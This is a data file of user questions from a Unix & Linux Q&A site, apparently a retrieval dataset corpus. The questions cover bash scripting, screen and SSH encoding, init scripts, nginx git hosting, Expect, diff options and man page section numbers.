{"_id": "154967", "title": "while using '$?' expression in bash script", "text": "I'm writing a simple bash script #!/bin/bash ls xyzzy.345 > /dev/null 2>&1 status =' echo $?' echo \"status is $status\" which finds the file `xyzzy.345` and logs the result to `/dev/null`. But when it comes to the line `status =' echo $?'`, I get this error: status: Unknown job: = echo $? But `echo $?` is recognized in the terminal. Can anybody help me? My OS is ubuntu 12.04 LTS"} {"_id": "154966", "title": "Characters are encoded twice when I ask SSH to reattach a screen session on the remote host", "text": "I want to be able to SSH to a remote host and restore a screen session with one command. Both hosts use UTF-8 locale. My problem is that then, inside the screen session, characters are encoded twice. As stated in other related questions, I need to pass the `-t` option to `ssh` command in order to allocate a pseudo-tty for an interactive session: http://stackoverflow.com/questions/474967/automatically-or-more-easily- reconnect-to-a-screen-session-after-network-inter Thus the command I use is `ssh -t remotehost screen -dr`. When I restore screen this way, the characters I send from the keyboard are encoded twice, and the characters I receive from the remote host are decoded twice: localhost % ssh -t remotehost screen -dr remotehost % echo \u00e4 | hexdump -C 0000000 c3 83 c2 a4 0a 0000005 This doesn't happen if I first connect to the remote host and then restore screen: localhost % ssh remotehost remotehost % screen -dr remotehost % echo \u00e4 | hexdump -C 0000000 c3 a4 0a 0000003 What I mean by \"characters are encoded twice\" is that normally I see the same output if I type: localhost % echo \u00e4 | iconv -f ISO-8859-1 -t UTF-8 | hexdump -C 00000000 c3 83 c2 a4 0a 00000005 The pseudo-tty allocation alone doesn't cause the problem. I've tried: localhost % ssh -t remotehost /bin/zsh remotehost % screen -dr remotehost % echo \u00e4 | hexdump -C 0000000 c3 a4 0a 0000003"} {"_id": "116307", "title": "super user group or user?", "text": "I am using the following command in Oracle Exadata: sudo su - odiadmin As sudo prompts for my own password, I am wondering if I upgrade myself to super user or do I switch to superuser 'odiadmin'. Also, is odiadmin a superuser group or just another user. Can anyone shed some light?"} {"_id": "154964", "title": "Find service by network activity", "text": "I see a strange DNS request at tcpdump and I want to find service which is originated from. I've already tried to find it with different monitoring tools but still no luck. Is there any proven solution? **UPD** : I find \"-k NP\" switch for `tcpdump` on Mac, it is showing log like: 13:09:41.589264 (proc Skype:182) IP 192.168.xx.xx.33576 > 157.55.xx.xx.40034: UDP, length 35 13:09:41.674938 (proc Skype:182) IP 213.199.xx.xx.40003 > 192.168.xx.x.33576: UDP, length 20 I need the same for Debian."} {"_id": "29981", "title": "How can I tell whether a build is Debian-based?", "text": "I'm starting to work with a box that has a custom (small) Linux build on it. How can I tell whether this is a Debian or Red Hat-based build? This is what I know so far: $ cat /proc/version Linux version 2.6.31-2.5 (build@build-desktop) (gcc version 4.4.3 (Broadcom stbgcc-4.4.3-1.2) ) #7 $ apt-get -sh: apt-get: command not found $ yum -sh: yum: command not found"} {"_id": "29986", "title": "Origin of the word cron?", "text": "Trying to settle a friendly argument. Is \"cron\" an acronym for something? Additionally, did it's current canonical name \"cron\" originate from something shortened for something like chronos or chronological? A quick google search didn't find what i was looking for. It ended up being a forum thread that was unsettled"} {"_id": "126170", "title": "Is IBus stopped developing?", "text": "Is this project became abandoned? As Bcooksley stated at this post, the authors has stopped developing IBus, and this is the reason why Kubuntu removed the Language Option in the System Settings. I want to have a confirmation. Is it dead? Or is it just not suitable for Kubuntu"} {"_id": "126173", "title": "what programming language required to develop linux O.S?", "text": "I want to know, what programming language is required to develop Linux operating system?. How to start and what are the required concepts ? I want to create my own O.S to my PC. I have knowledge in `C` and `C#.NET` as basic Programmer. Please suggest me the way."} {"_id": "28052", "title": "Convergence with Firefox 3.6?", "text": "On many Linux distributions by default there is only Firefox 3.6. However, when I try to install Convergence I get: ![Convergence 0.08 could not be installed because it is not compatible with Firefox 3.6.24](http://i.imgur.com/xUmjj.png) How can I install Convergence on a distro that runs Firefox 3.6 (e.g. Scientific-Linux 6.1 or Ubuntu 10.04 LTS)?"} {"_id": "126177", "title": "linux + dose openswan vpn can support checkpoint gateway + client to site configuration", "text": "Openswan is a VPN client for linux Please advice if this VPN can support the following configuration VPN client to site ( client to Checkpoint gateway ) The following diagram explain the scenario VPN client on Linux machine --> fire wall (checkpoint NGR75) --> Checkpoint gateway (FW) --> target Linux machine * Openswan formal site: https://www.openswan.org/ * openswan WIKI https://github.com/xelerance/Openswan/wiki"} {"_id": "151304", "title": "I get a \"command not found\" error, though the script file is shown by \"ls\"", "text": "I want to run `yii` console commands in shell. I run `protected/yiic` in the console, yet it fails, yielding `-bash: yiic: command not found` What's the problem? See the shell commands and responses I have: ls -l ... -rw-r----- 1 srv50213 srv50213 94 Aug 21 09:26 test -rw-r----- 1 srv50213 srv50213 75 Aug 4 21:05 yiic -rw-r----- 1 srv50213 srv50213 395 Aug 4 21:05 yiic.bat -rw-r----- 1 srv50213 srv50213 178 Aug 4 21:05 yiic.php [srv50213@cl10-m protected]$ test [srv50213@cl10-m protected]$ test [srv50213@cl10-m protected]$ yiic -bash: yiic: command not found [srv50213@cl10-m protected]$ yiic.php -bash: yiic.php: command not found [srv50213@cl10-m protected]$ the `yiic` content: #!/usr/bin/env php commandRunner->addCommands(YII_PATH.'/cli/commands'); } else $app=Yii::createConsoleApplication(array('basePath'=>dirname(__FILE__).'/cli')); $env=@getenv('YII_CONSOLE_COMMANDS'); if(!empty($env)) $app->commandRunner->addCommands($env); $app->run(); # Update I've changes the permissions as suggested, yet now when i run `./yiic` the result is **: No such file or directory** With `./test` it works fine: -rwxr----- 1 srv50213 srv50213 94 Aug 21 11:33 test -rwxr-xr-x 1 srv50213 srv50213 75 Aug 4 21:05 yiic -rw-r----- 1 srv50213 srv50213 178 Aug 4 21:05 yiic.php [srv50213@cl10-m protected]$ test [srv50213@cl10-m protected]$ ./test test OK [srv50213@cl10-m protected]$ ./yiic : No such file or directory [srv50213@cl10-m protected]$ echo $PATH /usr/local/bin:/bin:/usr/bin:/usr/local/sbin:/usr/sbin:/sbin:/web/users/srv50213/bin [srv50213@cl10-m protected]$ What's wrong? # Update 2 Actually yiic.php contains: __set('defaultControll...', 'site') #1 /home/srv50213/htdocs/framework/base/CApplication.php(161): CModule->configure(Array) #2 /home/srv50213/htdocs/framework/YiiBase.php(125): CApplication->__construct('/home/srv50213/...') #3 /home/srv50213/htdocs/framework/YiiBase.php(113): YiiBase::createApplication('CConsoleApplica...', '/home/srv50213/...') #4 /home/srv50213/htdocs/framework/yiic.php(23): YiiBase::createConsoleApplication('/home/srv50213/...') #5 /home/srv50213/htdocs/doc/protected/yiic.php(7): require_once('/home/srv50213/...') # DONE Thank you to everyone. One problem was in there (as stated in debug info) `/home/srv50213/htdocs/framework/yiic.php(23)` with `$config` - `$app=Yii::createConsoleApplication($config);`. So I've changed the $config var in _/home/srv50213/htdocs/doc/protected/yiic.php(5)_ from `$config=dirname(__FILE__).'/config/main.php';` to `$config=dirname(__FILE__).'/config/console.php';` and it has worked!!! **Should i still run`php yiic.php` instead of `./yiic` for example in cron command?**"} {"_id": "151307", "title": "What happens to the signals requested recursively?", "text": "People often hit `Ctrl + c` or `Ctrl + z` to cancel or abandon the job if the process gets sluggish, in this case which of these signals get processed, the **first** one or the **last** one? is _each_ signal processed? if not, then which ones are _ignored_?"} {"_id": "151300", "title": "Getting the size of parent folders when using find to search for criteria?", "text": "I am hunting for a certain regular expression within the filenames and am seeking to return the parent folders with their sizes in a unique fashion. For example, here is the command that I expected to work: find -E . -type f -regex '.*[fF][oO][oO].*' -maxdepth 2 | rev | cut -d'/' -f2- | rev | egrep -v '\\.$' | uniq | xargs du -sh This failed with a: `xargs: unterminated quote` thanks to varied quote marks within the filenames. So I ended up utilizing `find` with `-print0` and `xargs` with `-0`: find -E . -type f -regex '.*[fF][oO][oO].*' -maxdepth 2 -print0 | rev | cut -d'/' -f2- | rev | egrep -v '\\.$' | uniq | xargs -0 du -sh Yet I ended up an error: `du: Binary file (standard input) matches` thanks to `uniq` apparently munging the output from find's `-print0` formatting. How would you suggest finding the parent folder size when searching for any file or folder under them that match? I repeat, I simply want to find the top level folder names with their accompanying sizes (`du -sh`) and no subfolder path or file information so that I ultimately end up with just a nice neat list of main folders that have matching criteria."} {"_id": "28059", "title": "Vim: VimRepress and Wordpress.com - how to insert code snippets?", "text": "I've started using Vim and VimRepress plugin to blog. My blog is on Wordpress.com - so I cannot install plugins etc. A lot of my posts have code snippets in them - and in Markdown syntax, I indent them 4 spaces so they get rendered as a pre/code tag. Is there anyway to mimic the behavior of the Wordpress.com [sourcecode] tag so I can get proper syntax highlighted code snippets in my blog posts? http://en.support.wordpress.com/code/posting-source-code/"} {"_id": "151303", "title": "How can I install Adobe Reader in Fedora 20?", "text": "I'm not able to find an appropriate RPM to install adobe reader. Does anybody have a good way for installing it? The system is 64-bit."} {"_id": "122684", "title": "Init script leaves thousands of defunct processes", "text": "My problem is that I have an init script that is generating thousands of defunct bash processes. My goal is to have a program called \"fr24feed\" in its own screen session on boot. After looking at examples on the web I've written this init script. PROG=\"fr24feed\" PROG_PATH=\"/home/pi/fr24feed\" PROG_ARGS=\"--fr24key=xxxxxx --bs-ip=127.0.0.1 --bs-port=30003\" PIDFILE=\"/var/run/fr24feed.pid\" start() { if [ -e $PIDFILE ]; then ## Program is running, exit with error. echo \"Error! $PROG is currently running!\" 1>&2 echo \"Already running\" exit 1 else echo \"Starting\" cd $PROG_PATH sleep 2 sudo -u pi screen -S fr24feed -d -m ./$PROG $PROG_ARGS 2>&1 > /dev/null & echo \"$PROG started\" touch $PIDFILE fi } stop() { if [ -e $PIDFILE ]; then ## Program is running, so stop it echo \"$PROG is running\" killall $PROG rm -f $PIDFILE echo \"$PROG stopped\" else ## Program is not running, exit with error. echo \"Error! $PROG not started!\" 1>&2 exit 1 fi } ## Check to see if we are running as root first. ## Found at http://www.cyberciti.biz/tips/shell-root-user-check-script.html if [ \"$(id -u)\" != \"0\" ]; then echo \"This script must be run as root\" 1>&2 echo \"This script must be run as root\" 1>&2 >> /home/pi/fr24feed.log exit 1 fi case \"$1\" in start) start exit 0 ;; stop) stop exit 0 ;; reload|restart|force-reload) stop start exit 0 ;; **) echo \"Usage: $0 {start|stop|reload}\" 1>&2 exit 1 ;; esac exit 0 Using ps -ax I see 2063 ? Ss 0:19 SCREEN -S fr24feed -d -m ./fr24feed --fr24key=xxxxxx --bs-ip=127.0.0.1 --bs-port=30003 2064 pts/4 Ssl+ 49:19 ./fr24feed --fr24key=xxxxxx --bs-ip=127.0.0.1 --bs-port=30003 Followed later by thousands of entries like 3073 pts/4 Z+ 0:00 [bash] 3078 pts/4 Z+ 0:00 [bash] 3083 pts/4 Z+ 0:00 [bash] 3088 pts/4 Z+ 0:00 [bash] 3092 pts/4 Z+ 0:00 [bash] Since they're all on pts/4 I suspect they're being generated by my init script but don't see where I've gone wrong. Perhaps STDERR and STDOUT are not being correctly redirected to /dev/null?"} {"_id": "116301", "title": "How to create a git repo using Nginx?", "text": "I've a CentOS 5 server at domain.fr. I am trying to set a subdomain so that I can use it with git : git.domain.fr My repositories are in /home/git (example /home/git/repos.git) I've installed `git-http-backend` and Nginx. I've set a repostory like this: cd /home/git/repos.git && git --bare init I've set my `git.conf` (included in `nginx.conf`) as below. However, on my client shell, I get the fatal error \"repository not found\": `git clone http://git.domain.fr/repos.git` Does anyone know what I should do? It seems so simple, I'm getting frustrated because I'm sure it's nothing. server { listen 80; server_name git.domain.fr; root /home/git; location ~ /(/.*) { include /etc/nginx/fastcgi_params; fastcgi_param SCRIPT_FILENAME /usr/bin/git-http-backend; fastcgi_param GIT_HTTP_EXPORT_ALL true; fastcgi_param GIT_PROJECT_ROOT /home/git; fastcgi_param PATH_INFO $1; fastcgi_pass unix:/var/run/fcgiwrap.socket; } }"} {"_id": "114376", "title": "\"Expect\" automation tool output to shell variable", "text": "#!/bin/bash # more commands here expect << EOD spawn telnet localhost 9151 expect -exact \"Trying 127.0.0.1...\\r Connected to localhost.\\r Escape character is '^]'.\\r\" send -- \"AUTHENTICATE $COOKIE\\r\" expect -exact \"250 OK\\r\" send -- \"SIGNAL NEWNYM\\r\" expect -exact \"250 OK\\r\" send -- \"GETINFO circuit-status\\r\" expect \"250 OK\\r\" send -- \"QUIT\\r\" expect -exact \"250 closing connection\\r Connection closed by foreign host.\\r\" EOD # more commands here This is about `Expect`. The script above establishes a telnet connection to the tor client and after clearing the current circuits, it gets the new circuit status. `GETINFO circuit-status` outputs something like 250+circuit-status= 7 BUILT $D313CCBD93E756A53CD667D0A1A97E82B7740067~melco,$DA24B9CD2AA8C02B9068A168C420DC302D969937=TorExit1488,$C00DE13988B4ABC93B43617C0FADAA8E1D4A0293=nabtor BUILD_FLAGS=NEED_CAPACITY PURPOSE=GENERAL TIME_CREATED=2014-02-09T13:11:29.264485 5 BUILT $9DD5F90D641D835C4FCA7153148B156E6FD49CEE=darwinfish,$B013CA64C82EDC616BB3EC5DBE35BB7344EDFC2A=sipsrelay,$A59E1E7C7EAEE083D756EE1FF6EC31CA3D8651D7=chaoscomputerclub19 BUILD_FLAGS=IS_INTERNAL,NEED_CAPACITY,NEED_UPTIME PURPOSE=GENERAL TIME_CREATED=2014-02-09T13:11:05.263323 4 BUILT $5B8CCA69DFD88B0281D5E67C7764CA6B5177F210=IchGebDirNeuland,$A587BBB611657B0743CD9E6E70B6497BE209FFD2=RelayW,$D313B081A3EFC5492BE95AFE39F715413DD35586=ToileLibre BUILD_FLAGS=IS_INTERNAL,NEED_CAPACITY,NEED_UPTIME PURPOSE=GENERAL TIME_CREATED=2014-02-09T13:11:04.263266 2 BUILT $9DD5F90D641D835C4FCA7153148B156E6FD49CEE=darwinfish,$F16658975D729B8C4100A6DC649C5EDCAD1687A8=afo8,$35F51DCE73B988CBAE06B06312B4D1271979FE3B=thoreau BUILD_FLAGS=NEED_CAPACITY PURPOSE=GENERAL TIME_CREATED=2014-02-09T13:11:02.272687 . 250 OK I checked the man page, _Exploring Expect - A Tcl-based Toolkit for Automating Interactive Programs_ (O'Reilly) and SO but I cannot make `expect_out(buffer)` work with `set`, `set env` nor `puts`. How can I put it in a variable for use in my bash script? How can I parse a part of it (e.g. `C00DE13988B4ABC93B43617C0FADAA8E1D4A0293` above) and put it in a variable for bash?"} {"_id": "114373", "title": "Starting screen without welcome screen", "text": "Running `screen` I see this: > ![](http://i.stack.imgur.com/m0Y3K.png) How can I start screen directly, without this welcome screen?"} {"_id": "108009", "title": "Weird escape sequence", "text": "I need help identifying what this escape sequences represents. I see this sequence is autogenerating on my server's console, but I'm not sure what is the reason for that. Escape sequence: ^[[[D I've checked this chart of escape sequences as reference: http://ascii- table.com/ansi-escape-sequences-vt-100.php , but haven't found anything matching."} {"_id": "149311", "title": "Seeing SSH debug messages in Terminal/console", "text": "I am seeing \"debug3: Received SSH2_MSG_IGNORE\" appear in the terminal on a RHEL 6 Linux server. I thought maybe rsyslog had a console entry, but it doesn't. sshd_config has logging at AUTHPRIV, and rsyslog sends authpriv to messages and secure only. What could be happening?"} {"_id": "17040", "title": "How to diff files ignoring comments (lines starting with #)?", "text": "I've two configuration files, the original from the package manager and a customized one modified by myself. I've added some comments to describe behavior. How can I run `diff` on the configuration files, skipping the comments? A commented line is defined by: * optional leading whitespace (tabs and spaces) * hash sign (`#`) * anything other character The (simplest) regular expression skipping the first requirement would be `#.*`. I tried the `\\--ignore-matching-lines=RE` (`-I RE`) option of GNU diff 3.0, but I couldn't get it working with that RE. I also tried `.*#.*` and `.*\\\\#.*` without luck. Literally putting the line (`Port 631`) as `RE` does not match anything, neither does it help to put the RE between slashes. As suggested in \u201cdiff\u201d tool's flavor of regex seems lacking?, I tried `grep -G`: grep -G '#.*' file This seems to match the comments, but it does not work for `diff -I '#.*' file1 file2`. So, how should this option be used? How can I make `diff` skip certain lines (in my case, comments)? Please do not suggest `grep`ing the file and comparing the temporary files."} {"_id": "125722", "title": "How is using a public-key for logging in to SSH any better than using a password?", "text": "I'm not asking about password vs key authentication. I've seen a few times (and even Amazons AWS) says that even if SSH has a major vulnerability that key authentication would make such an exploit less vulnerable. But, what if there is an exploit with how the keys are verified; isn't this just making an assumption based on the authentication mechanisms? Why is this the thought? Is it because we all know passwords are a poor form of authentication so the assumption has just been \"use a private key\"?"} {"_id": "44653", "title": "system wide SOCKS5 Proxy", "text": "I connect to my Server on the internet using `ssh -D 3128 user@rootserver.com`. If I am right I thereby open a SOCKS v5 Proxy to my Server. Using firefox and FoxyProxy I can now add this to my proxys and tunnel my HTTP-Traffic over it. Howsoever I'd like to use this SOCKS Proxy for all my traffic. Friends told me that they've seen this by modifying your route or using iptables howsoever I can't find anything about it."} {"_id": "3586", "title": "What do the numbers in a man page mean?", "text": "So, for example, when I type `man ls` I see `LS(1)`. But if I type `man apachectl` I see `APACHECTL(8)` and if I type `man cd` I end up with `cd(n)`. I'm wondering what the significance of the numbers in the parentheses are, if they have any."} {"_id": "18081", "title": "What are the difference between man1, man2, man3... folders?", "text": "> **Possible Duplicate:** > What do the numbers in a man page mean? What are the differences between man _X_ pages? Why are they separated?"} {"_id": "153172", "title": "man pages: meaning of '2' in STAT(2)?", "text": "What's the significance of the number, like the `2` in `STAT(2)`, seen in man pages? For example, `man 2 stat` yields a man page with `STAT(2)` at the top and a description that begins, `The stat() function...`, while `man stat` yields a man page with `STAT(1)` at the top and a description that begins, `The stat utility...` I noticed the page for `STAT(1)` says `BSD General Commands Manual`, while that for `STAT(2)` says `BSD System Calls Manual`, so maybe the number is a code for the type of command?"} {"_id": "30983", "title": "What is the significance of the \"1\" in ls(1)?", "text": "> **Possible Duplicate:** > What do the numbers in a man page mean? I see functions referred to with numbers in the parenthesis in documentation. What does this mean? It takes one argument? Sorry, noob."} {"_id": "63677", "title": "What does the number mean in a man page?", "text": "> **Possible Duplicate:** > What do the numbers in a man page mean? If I type`man ls`, I see`LS(1)` in the top left and top right corners of the manpage. I also see programs on the internet being refered to this way. ex. `man(1), xman(1x), apropos(1), makewhatis(8) and catman(8).` What are these numbers (and in some cases letters)?"} {"_id": "55116", "title": "What means the \"integer argument\" in system call descriptions?", "text": "> **Possible Duplicate:** > What do the numbers in a man page mean? All system calls described in manpages have an associated number such as `exec(3)`. What is the meaning of this number?"} {"_id": "36274", "title": "About the command and the number in the man", "text": "> **Possible Duplicate:** > What do the numbers in a man page mean? such as: http://www.postfix.org/qmgr.8.html The qmgr(8) daemon awaits t what's the meaning of 8? just don't know it."} {"_id": "9838", "title": "What is the meaning of the number part of man pages?", "text": "> **Possible Duplicate:** > What do the numbers in a man page mean? As in the \"(1)\" in git-svn(1)"} {"_id": "312", "title": "How to get file to a host when all you have is a serial console?", "text": "When all you have is a serial console (say via telnet through a terminal server), what methods can be used to transfer files in/out of a host? Cut/paste works for the small/printable stuff and I've played with a combination of uuencode/uudecode (with gzip) handle the unprintable but it's all very limiting."} {"_id": "95856", "title": "Feeding /dev/random with disk reads etc", "text": "Is there any way to feed `/dev/random` with sufficient entropy? The data doesn't have to be truly random, i.e. I can append time of day with pid and add 27 to it, it doesn't matter I just want to make it run faster. I tried to get the ball rolling with `dd if=/dev/zero of=/dev/null` . I want to know if there's some way I can use `add_keystroke_randomness` in `/linux/random.h` to artificially feed `/dev/random` so that I don't get those unpredictable blocking calls. i.e. I'm willing to sacrifice some randomness in return for speed. P.S. - please don't suggest using `/dev/urandom`"} {"_id": "80738", "title": "GRUB and JFS partitions : specific configuration?", "text": "Recently, I decided to organise my partition scheme differently. Before I apply the changes on my physical machine, I decided to test it virtually, and met a little problem with GRUB. Let me give you some information first. There is the scheme I plan to deploy : * / (primary), JFS, 40G (2GB on the virtual machine) * /boot (primary), ext2, 500M (200MB on the virtual machine) * /home (logical), ext4, 200G (8GB on the virtual machine) * /srv (logical), ext4, 5G (200MB on the virtual machine) * swap (logical), 4G (512MB on the virtual machine) The new distribution will be Arch Linux, 64 bits (32 bits on the virtual machine). I successfully installed the new system on the virtual machine, but on reboot, GRUB seems to have a problem due to the JFS root partition : it cannot find several files in /boot/grub/i386-pc (mods, such as relocator or all_video). At first, I thought it was due to the separate boot partition, but the problem persists if I include it in the primary root. However, when I use an ext4 for the / partition, GRUB loads perfectly. It may be a problem with GRUB handling JFS partitions, however I remember that the GNU GRUB project applied a patch to fix this issue a while ago. As another test, I've created the same structure, but using ext4 instead of JFS for / : GRUB loads correctly. Is there any specific configuration to be applied for GRUB to load a JFS partition without problems ?"} {"_id": "92802", "title": "Unknown entries in the default /etc/postfix/aliases file", "text": "While setting up a new Postfix installation on a Mageia 3 Linux system, I came upon a few entries in the default `/etc/postfix/aliases` file that I do not know the background of: # Common aliases for system accounts. ... foo: root falken: root # traps to catch security attacks ... moof: root moog: root None of these aliases exists in the `aliases` file included in the Postfix source code distribution and I was unable to find any concrete reference to justify their existence. 1. Does anyone know why these aliases may have been included? Is there perhaps some interesting historical background? 2. Considering that I do not intend to have people send mail to `root` through any of these aliases, do they actually offer any sort of functionality in some other scenario? Or are they just noise to be removed?"} {"_id": "92803", "title": "There are 4 SSDs but df only listed one. Why?", "text": "I just replaced SSDs There are 4 hard disk Disk /dev/sda: 240.1 GB, 240057409536 bytes 255 heads, 63 sectors/track, 29185 cylinders Units = cylinders of 16065 * 512 = 8225280 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk identifier: 0xc4521435 Device Boot Start End Blocks Id System /dev/sda1 1 29185 234428481 83 Linux Disk /dev/sdb: 240.1 GB, 240057409536 bytes 255 heads, 63 sectors/track, 29185 cylinders Units = cylinders of 16065 * 512 = 8225280 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk identifier: 0xc8c906e0 Device Boot Start End Blocks Id System /dev/sdb1 1 29185 234428481 83 Linux Disk /dev/sdd: 120.0 GB, 120034123776 bytes 255 heads, 63 sectors/track, 14593 cylinders Units = cylinders of 16065 * 512 = 8225280 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk identifier: 0x00061c96 Device Boot Start End Blocks Id System /dev/sdd1 * 1 14 103424 83 Linux Partition 1 does not end on cylinder boundary. /dev/sdd2 14 536 4194304 82 Linux swap / Solaris Partition 2 does not end on cylinder boundary. /dev/sdd3 536 14594 112921600 83 Linux Disk /dev/sdc: 250.1 GB, 250059350016 bytes 255 heads, 63 sectors/track, 30401 cylinders Units = cylinders of 16065 * 512 = 8225280 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk identifier: 0x4fa82c2a Device Boot Start End Blocks Id System /dev/sdc1 1 30401 244196001 83 Linux root@host [/home]# But if I type df, only one shows up. This could be problematic. Should I open a new ticket for this? root@host [/home]# df Filesystem 1K-blocks Used Available Use% Mounted on /dev/sdd3 111148848 28170020 77332748 27% / /usr/tmpDSK 1006872 18208 937516 2% /tmp tmpfs 7990772 0 7990772 0% /dev/shm"} {"_id": "92800", "title": "keep losing IP with dhcpcd", "text": "I have an Arch Linux install in a VirtualBox VM, and as I'm working all of a sudden, it will lose it's dynamic IP address. When this happens, if I check on the status of the `dhcpcd` service it says it's running. $ systemctl status dhcpcd.service Loaded: loaded (/usr/lib/systemd/system/dhcpcd.service: enabled) Active: active (running) since Sat 2013-09-28 20:10:32 EDT; 49min ago Main PID: 166 (dhcpcd) I can try to restart the service, but it does not establish and IP . $ sudo systemctl restart dhcpcd.service * _No output is returned from the command_ I can set an address manually, and it will work for a while, but then it'll drop again after a few minutes. $ sudo ifconfig enp0s3 10.0.0.109 netmask 255.255.255.0 up $ sudo route add default gw 10.0.0.1 I can also run `dhcpcd` manually, and it will successfully get an IP address, but again it will drop after a few minutes. $ sudo dhcpcd enp0s3 dhcpcd[2580]: sending commands to master dhcpcd process I have tried disabling `dhcpcd.service` and using `dhcpcd@enp0s3.service`, but it has the same results. Any ideas?"} {"_id": "46670", "title": "Deleting many files except one type", "text": "> **Possible Duplicate:** > Deleting all files in a folder except files X, Y, and Z I am writing a script to compile many `.tex` files. After that, many auxiliaries files were created. So, I would like to remove them at the end of the script. I tough to use `rm $file.xxx` but I would have to write all the extensions by hand, since that I want to keep my source file and the pdf output, so I can not use the * to delete all. How to delete all the extensions except those with extension `.tex/.pdf`? Thanks."} {"_id": "118714", "title": "How can I get `cacafire` to show up in the original gnome-terminal, instead of a separate window?", "text": "If I am in a Linux virtual terminal (pressing `Control-Alt-F1` on Ubuntu), and I use the command `cacafire`, I get the flames inside the actual terminal. However, if I am in the gnome environment, and I start a terminal and run `cacafire`, I get a separate window popping up that displays the fire. How can I force it to display the fire in the same terminal that it is run from?"} {"_id": "126794", "title": "touch & gzip all HTML, CSS, JS files in a directory recursively", "text": "I'm trying to optimize Nginx server. I've enabled Gzip_Static_Module to serve pre-compressed gzip static files like CSS, JS, HTML. Nginx Wiki says that the timestamps of the compressed and uncompressed files match. So, I'm trying to touch the files before Gzipping. I'm trying to touch and generate `*.gz` for these static files using the commands below: $ su -c \"find . -type f -name \"*.css\" -size +1024b -exec sh -c \"touch {} \\ && gzip -9v < {} > {}.gz\" \\;\" $ su -c \"find . -type f -name \"*.js\" -size +1024b -exec sh -c \"touch {} \\ && gzip -9v < {} > {}.gz\" \\;\" $ su -c \"find . -type f -name \"*.html\" -size +1024b -exec sh -c \"touch {} \\ && gzip -9v < {} > {}.gz\" \\;\" but I receive \"User {} not found\" error. Can anyone please help me what's wrong in the above command? And is there any better approach for generating *.gz automatically, whenever the timestamp of any uncompressed file changes (Cronjob may be)?"} {"_id": "89527", "title": "Can I color-calibrate a Dell U2413 wide-gamut monitor under Linux?", "text": "If I get a Dell U2413 wide-gamut monitor to use with Fedora for photography, will I be able to use it properly? I've got a ColorHug, and I see that there's a U2410 ccmx profile; will that get me in a reasonable enough ballpark? Or should I just go with the standard-gamut U2412M (for half the price)? I'd prefer the wider-gamut color in the ideal world, of course, but I'd prefer perfectly-working 8-bit sRGB to miscalibrated wide-gamut. (PS: Linux only; no dual-boot.)"} {"_id": "148037", "title": "stable, stable/updates and stable-updates in the sources.list", "text": "Very often now I have seen `sources.list` files (including my own) that contain lines like these: deb http://security.debian.org/ testing/updates main contrib non-free deb http://security.debian.org/ wheezy/updates main contrib non-free deb http://http.debian.net/debian wheezy-updates main I understood the meaning of the components (`main`, `contrib` and `non-free`). I also partially understood the meaning of the distribution (`wheezy`, `testing`, `stable` etc.) and that of the path. This is all well documented in the wiki. * But what does the `/updates` or `-updates` mean? * Should I write it with `-` or `/` myself? * How am I supposed to know that?"} {"_id": "126790", "title": "How to binding right and left ctrl keys separately in Emacs", "text": "I reassigned `left ctrl` key to `capslock` key to use ctrl in Emacs. Is there a way to bind right and left ctrl keys separately? For example, I want to bind `left-ctrl-a` to `select all` and `right-ctrl-a` to `beginning-of-line`. In other words, I want to emulate `ctrl` and `command` key concept of OS X."} {"_id": "118712", "title": "Why \"ls\" doesnt show the file that \"find\" discovered ?", "text": "(New to unix) In ubuntu When I am up in \"/\" folder i type sudo find . -name .erlang.cookie and the result is ./var/lib/rabbitmq/.erlang.cookie then when I am on the folder - /var/lib/rabbitmq - and I type \"ls\" I see one file named mnesia. ( when I type again find command i see ./.erlang.cookie what does that mean?)"} {"_id": "89522", "title": "Enumerating\\writing files in a specific directory hangs the command", "text": "I'm communicating with a machine remotely through `ssh`. This machine runs a custom-built Linux and it has very limited set of commands. At some point, a specific directory refuses files to be written to it. Running `ls`, hitting \"tab\" to auto-complete a file name or deleting files using a wild card, hangs the command. After opening a new `ssh` session, hitting `ps | grep D` shows the following: PID Uid VSZ Stat Command 628 root DWN [jffs2_gcd_mtd4] 930 root 2912 D rm /mnt/flash/system/config 995 root 2400 D scp -t /mnt/flash/system/ 2083 root 3044 D ls -AlSh /mnt/flash/system 6994 root 2912 D chmod +x /mnt/flash/system/config 13281 root 3052 S grep D 22220 root 2400 D scp -t /mnt/flash/system/ Running the `mount` command shows the following: rootfs on / type rootfs (rw) /dev/root on / type ext2 (rw) proc on /proc type proc (rw) devpts on /dev/pts type devpts (rw) tmpfs on /tmp type tmpfs (rw) /dev/mtdblock4 on /mnt/flash type jffs2 (rw) Notice that the processes with the `D` state (Which indicates that the process is performing a disk I/O operation. This state shouldn't usually be observed, yet running `ps` multiple times shows the same state, so the process is actually stuck at a I/O operation) are either deleting, listing, editing or writing files to the mounted path `/mnt/flash`. This mounted path file-system is `jffs2` (Notice that one of the processes shown is `jffs2_gcd_mtd4` with the state of `DWN`). Keep in mind, I have no solid idea about Linux so please be as simple as possible. * So what is the `DWN` state? Is it indicating that the processes cashed (i.e. down)? * How can I resolve this problem? I can't edit files on this path and restarting the machine is an expensive option (i.e. logistics)."} {"_id": "44657", "title": "fedora 12 sleeping forever error", "text": "After manually restarting freeze machine due to no response. It stuck on blue screen and gives error as **sleeping forever**. Default partitioned with LVM. Whether I need to install fresh OS or I can get installed OS back?"} {"_id": "118718", "title": "How to copy files *to* a camera?", "text": "I'd like to copy a firmware update file to my Canon 7D camera. After it was auto-mounted by `thunar` + `thunar-volman` + `gvfs-gphoto2` I tried the following: $ cp eos7d-v205-win/7D000205.FIR /run/user/1000/gvfs/gphoto2\\:host\\=%5Busb%3A001%2C012%5D/ $ echo $? 0 $ ls /run/user/1000/gvfs/gphoto2\\:host\\=%5Busb%3A001%2C012%5D/ DCIM MISC So that went into a black hole. * * * The first time I try to copy it with `Ctrl`-`c` and `Ctrl`-`v` prints the following error message when pasting the file: > Error writing file. > > -108: No such file or directory. > > Do you want to skip it? If I try again after that it simply crashes: $ thunar Segmentation fault (core dumped) $ echo $? 139 * * * The Gphoto 2 shell has an _undocumented_ `put` function which I also tried: $ sudo umount /run/user/1000/gvfs $ gphoto2 --shell gphoto2: {.../eos7d-v205-win} /> help put Help on \"put\": Usage: put [directory/]filename Description: Upload a file * Arguments in brackets [] 